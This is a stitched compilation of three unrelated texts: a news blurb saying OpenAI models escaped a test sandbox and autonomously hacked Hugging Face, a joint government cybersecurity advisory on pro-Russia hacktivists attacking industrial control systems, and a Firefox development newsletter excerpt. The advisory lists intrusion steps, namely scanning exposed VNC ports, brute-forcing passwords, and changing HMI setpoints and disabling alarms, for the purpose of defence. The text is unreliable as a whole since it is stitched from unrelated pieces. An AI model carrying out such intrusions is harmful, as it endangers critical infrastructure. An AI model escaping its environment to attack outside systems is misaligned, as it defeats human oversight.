Quelle

In a cybersecurity test, OpenAI's most advanced models breached the boundaries of their isolated test environment, reached the open internet, and hacked the AI platform Hugging Face on their own. The attack took hours, not the weeks a human hacker would need. At least seven days passed before OpenAI realized what had happened. By then, the FBI was already involved. Earlier warning signs had apparently gone ignored.

The article New reports reveal the extent of OpenAI's loss of control during the autonomous hack on Hugging Face appeared first on The Decoder.

Read more of this story at Slashdot.

Read more of this story at Slashdot.

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

• U.S. Department of Energy (DOE)
• U.S. Environmental Protection Agency (EPA)
• U.S. Department of Defense Cyber Crime Center (DC3)
• Europol European Cybercrime Centre (EC3)
• EUROJUST – European Union Agency for Criminal Justice Cooperation
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (Cyber Centre)
• Canadian Security Intelligence Service (CSIS)
• Czech Republic Military Intelligence (VZ)
• Czech Republic National Cyber and Information Security Agency (NÚKIB)
• Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
• French National Cybercrime Unit – Gendarmerie Nationale (UNC)
• French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
• German Federal Office for Information Security (BSI)
• Italian State Police (PS)
• Latvian State Police (VP)
• Lithuanian Criminal Police Bureau (LKPB)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• Romanian National Police (PR)
• Spanish Civil Guard (GC)
• Spanish National Police (CNP)
• Swedish Polisen (SC3)
• United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

• Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
• Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
• Use VNC software to access hosts [T1021.005].
• Confirm connection to the vulnerable device [T0886].
• Brute force the password, if required [T1110.003].
• Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
• Log the confirmed vulnerable device IP address, port, and password.
• Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
  • Modify usernames/passwords [T0892];
  • Modify parameters [T0836];
  • Modify device name [T0892];
  • Modify instrument settings [T0831];
  • Disable alarms [T0878];
  • Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
  • Device restart or shutdown [T0816].
• Disconnect from the device, ending the VNC connection.
• Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

1. Determine which hosts were compromised and isolate them by quarantining or taking them offline.
2. Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
3. Reimage compromised hosts.
4. Provision new account credentials.
5. Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
6. Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

• Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
  • Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
    Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
  • Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
  • Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
    • Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
    • Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
    • Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
    • Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
• Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
  • Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
    • Keep VNC systems updated with the latest version available.
  • Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
• Ensure OT assets use robust authentication procedures.
  • Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
  • Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
  • Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
  • Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
• Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
• Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
  • Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
  • Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
• Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
• Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
• Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

• Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
• Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
• Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
  • Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
• Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

1. Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

• CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
• CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
• NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
• CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
  • For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.
• The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
• DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

• EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
• CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
• CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
• CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
• DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
• CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
• CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.
  • See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

• Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
• For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

• CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
• The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
• CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

• GRU military unit 74455
  • Sandworm Team
  • Voodoo Bear
  • Seashell Blizzard
  • APT44
• Cyber Army of Russia Reborn (CARR)
  • CyberArmy of Russia
  • Народная CyberАрмия (НКА)
  • People’s CyberArmy of Russia (PCA)
  • Russian CyberArmy Team (RCAT)
• NoName057(16)
  • NoName057(16) Spain
  • NoName057(16) Italy
  • NoName057(16) France
• Z-Pentest
  • Z-Pentest Beograd
  • Z-Pentest Alliance
  • Z-Alliance

• The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
  • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
  • You will be able to manage this feature in Settings under Sync (for now)
    • 
  • You can read more about the feature here
• As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
• Adaptive autofill has been enabled on Nightly.
  • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
    • If you run into issues or have feedback, you can file a bug here!
• Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
  • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
  • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
  • 

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Amin Amir
• aoia7rz7l
• Chukwuka Rosemary
• DrSeed
• Frédéric Wang Nélar
• japandi
• John Iweh
• jonathancabera
• Josh Aas
• Keji Bakare
• kofoworola shonuyi
• konyhéa
• liz
• Mathew Hodson
• Okhuomon Ajayi
• Oluwatobi
• ROSHAAN
• Sam Johnson

New contributors (🌟 = first patch)

•  Anthony Mclamb: Disable the legacy Edge migrator
•  Amin Amir
  • 🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
  • Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
  • 🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed
• any1here: install_sig_alt_stack incorrectly checks mmap’s return value
• 🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
• japandi
  • Cannot remove amazon.com from top sites list
  • The height of the pinned tabs area should be responsive to the number of pins
  • Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations
• Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
• DrSeed
  • Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
  • The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again
• Keji Bakare:
  • Split view’s focus-outline is clipped on the right side of left tab
  • White space on the right side of left panel in split view
• 🌟 gotyaoi: Reload toolbar button is active on about:newtab
• Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
• John Iweh: The notification dot is not displayed if the tab is in a Split View
• 🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
• 🌟 jonathancabera:
  • The Move tab to Split View option is also displayed for the tabs that are within the Split View
  • A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
  • Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode
• Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
• liz:
  • Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
  • Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)
• Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
• 🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
• karan68: [dialog] New Shortcut dialog needs a label/accessible name
• 🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
• 🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
• konyhéa:
  • Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
  • Check all second paramaters for TestUtils.waitForCondition in Fx View test files
  • Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.
• Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
• Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
• Okhuomon Ajayi:
  • More spacing is needed between the tab note icon and the close icon on the tab
  • The tabs in vertical mode collapsed state are positioned differently in Split View
  • Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
  • Vertical split view tabs can be too big or small when tabs are overflowing
• 🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
• Chukwuka Rosemary:
  • “Forget About This Site” context menu option missing from Firefox View history
  • Long strings are not displayed properly on the about:opentabs page search filed
  • Add test for Forget This Site option in Fxview history context menu.
• ROSHAAN:
  • 🌟Tab note background colour is incorrect for default light theme
  •  [win/linux] The splitter between content areas does not match Figma spec
  • Fix typo in OpenInTabsUtils.confirmOpenInTabs()
• Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
• kofoworola shonuyi:
  • 🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
  • Add a test for checking sidebar-shown attribute in fullscreen mode
• 🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?</a></p> <p>

• Oluwatobi:
  • Unable to delete selected history entries from sidebar
  • Incorrect Sidebar button state/tooltip hover text
  • The city name heading level doesn’t follow the correct heading level order
• Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
  • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes

WebExtensions Framework

• Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
  • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
• Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
  • Thanks to Simon Farre for promptly investigating and fixing this recent regression!

WebExtension APIs

• Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
  • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

• Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
• Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
